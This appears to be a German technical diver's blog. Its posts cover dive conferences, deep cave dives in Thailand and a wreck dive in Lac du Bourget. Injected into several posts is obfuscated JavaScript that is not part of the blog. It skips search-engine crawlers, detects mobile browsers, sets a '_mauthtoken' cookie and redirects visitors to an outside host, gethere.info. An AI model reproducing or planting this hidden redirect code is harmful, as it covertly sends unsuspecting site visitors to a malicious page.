    Dieser Ausflug nach Budapest hat sich wirklich gelohnt. Wir werden ihn gern wiederholen.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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  • Advanced Exploration Diving Conference im Februar 2014 in Athen

    Am 15 und 16. Februar 2014 findet die Advanced Exploration Diving Conference in Athen, Griechenland Statt. Ich worde eingeladen dort zu sprechen. Mein Thema werden die Tiefen Wracks in Spanien swin.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Baltictech 13

    Wie immer ein perfekt organisierter Event. Schön war viele Bekannte Gesichter wieder zu treffen, aber auch neue Beganntschaften zu machen.

    Die Baltictech ist inzwischen ein richtiges Großereignis geworden bei dem dieses Jahr schätzingsweise 1000 Besucher anwesend waren.

    Herzlichen Glückwunsch an das Baltictech Team und alle Mitwirkenden.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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  • TekDive 13 in Belgien

    Am 16. und 17.  November war ich Gastsprecher auf der Tekdive13 in Belgien.

    Die Tekdive war ein großartig organisierter Event. Mit vielen interessanten Präsentationen und Ausstellern.

    Für mich war das eine wunderbare Erfahrung. Das erste Mal war ich nicht nur als Vertreter für WETNOTES unterwegs, sondern durfte über meine eigenen Projekte berichten.

    Ich hatte viele interessante Gespräche und habe tolle Leute getroffen. Auch meine Präsentation ist gut angekommen.

    Ich bin auf der TekDive 15 gern wieder dabei.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

  • Tiefe Höhlentauchgänge in Thailand

    Ende Oktober musste ich, wieder einmal, meine Pläne kurzfristig ändern. Geplant war ein humanitärer Einsatz in einem Health Camp in Nepal. Dieser Einsatz wurde nur 3 Tage, bevor er beginnen sollte abgesagt.

    Wie nun die plötzlich freie Zeit sinnvoll nutzen?

    Wieder einmal kam mir ein Freund aud Thailand zu Hilfe. Bruce Konefe, bei dem ich im Frühjahr schon meine CCR Cave Course gemacht hatte, lud mich zum Höhlentauchen nach Thailand ein.

    Da ich in den letzten Monaten nicht viel zum Höhlentauchen gekommen war hielt ich das für einen guten Vorschlag.

    Einen Flug zu buchen war kein grosses Problem. Bruce bereitete in Thailand wieder einmal alles perfekt vor und holte mich am 30. Oktober pünktlich in Krabi vom Flughafen ab.

    Unsere ersten Tauchgänge machten wir in der Süsswasserhöhle Song Hong.

    Nach einem Tauchgang auf 65m und einem weiteren auf 85m sollte uns der dritte auf eine Tiefe von 125 Meter Tiefe führen.

    Der Eingang der Höhle liegt auf ca 20mTiefe, Die Höhle ist sehr gross, man sieht meistens nur eine Wand und eventuell etwas Höhlendecke. Es gibt viele fest verlegte Leinen. Es geht schnell abwärts und die Sicht ist in der Regel gut.

    Während dem 1.und 2. Tauchgang hatten wir in verschiedenen Tiefen Stageflaschen deponiert.

    Ausserhalb der Höhle gibt es auf 9m eine Plattform und auf 6m ein Habitat.

    Die Wassertemperatur ist im See um die 30°C und in der Höhle auch nicht viel weniger.

    Der Einstieg ist sehr einfach und man kann mit dem Wagen fast ans Wasser fahren.

    Andere Taucher habe ich dort nie getroffen.

    Alle Tauchgänge waren problemlos und haben viel Spass gemacht.

    Es gibt in der Region auch nirgends ein Tauch Center. Bruce hate alles dabei, Gase, Kompressor jede Menge Flaschen Regler und was man eben so braucht für solche Aktionen.

    Gewohnt haben wir in einem kleinen Motel in der Stadt Tayang, ca 25  Minuten (mit dem Auto) entfernt von der Song Hong Cave. Es gibt hier keine Touristen. Die Lebenshaltungskosten sind extrem billig. Gegessen haben wir in den einheimischen Restaurants und jeden Nachmittag sassen wir mit dutzenden von Thai-Teenes im Internetcafe 🙂

    Gegen Ende der Woche fuhren wir nach Ao Nang. Von hier aus wollten wir noch einen Tauchgang in der Sra Keow Cave machen.

    Das war ein extrem eindrucksvoller Tauchgang, völlig anders als in Song Hong.

    Der Eingang zur Höhle liegt bei ca 10m Tiefe. Alles ist sehr viel enger als in Song Hong. Dazu kommt, dass schon die kleinste Unachtsamkeit zu einer Null-Sicht-Situation führen kann. Und die hatte ich beim Aufstieg aus 101 Meter Tiefe dann auch sehr häufig.

    Trotz der deutlich schwierigeren Bedingungen als in Song Hong hat auch dieser Tauchgang viel Spass gemacht.

    Ich freue mich schon auf meine nächsten Tauchgänge mit Bruce Konefe.

    Falls jemand einen guten CCR Cave Instructor sucht, kann ich Bruce nur empfehlen.

    Ihr findet ihn auf Facebook, oder schaut doch mal auf seine Homepage.

    http://deeptecthailand.com/

     

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  • Foke Wulf 58 im Lac du Bourget in Frankreich

    Mitte Oktober traf ich mich für ein Wochenende mit ein paar Freunden am Lac du Bourget in Frankreich.

    Wir planten das Wrack einer Foke Wulf 58 zu betauchen. Das Flugzeug war im 2. Weltkrieg auf dem See Notgelandet und versunken. Es handelt sich um die weltweit letzte Maschine, die von diesem Typ noch exestiert.

    Unsere Tauchbasis vor Ort war wie immer:

    Savoie Plongee, Philippe Cathiard,

    982, route de Chambery

    73370 Le Bourget du Lac

    Tel: 0033615288208

    www. savoie-plongee.com

    Das Wrack steckt in einer Tiefe von knapp 110m vertikal im Boden.

    Das Wasser am Grund des Sees ist nur ca 5°C „warm“. Es ist dunkel, aber die Sicht ist normalerweise gut.

    Auch wenn das Wrack nicht gross ist, so ist es doch mehr als einen Tauchgang wert. Es gibt viele Details zu entdecken. Am beeindruckensten ist der Heckflügel, auf dem man ein grosses Hakenkreuz sieht, dem die vergangenen 70 Jahre nichts anhaben konnten. Es scheint fast so, als wäre es gestern erst aufgemalt worden, gespenstisch!!!

    Das ist wirklich ein Tauchgang in die Vergangenheit, lebendige Geschichte.

    Philippe gibt als maximale Tauchzeit 140min vor. Das bedeutet eine Grundzeit von ca 20 min.

    Auf dem kleinen Boot von Philippe, auf dem max 6 technische Taucher Platz haben, gibt es einen Kran. Mit diesem holt er die Ausrüstungen, die komplett im Wasser abgelegt werden können, zurück aufs Boot.

    Auch wenn wir kein Glück mit dem Wetter hatten, es hat stark geregnet, und war kalt, war es doch ein sehr schönes Wochenende. Wir werden es im nächsten Frühjahr wiederholen.

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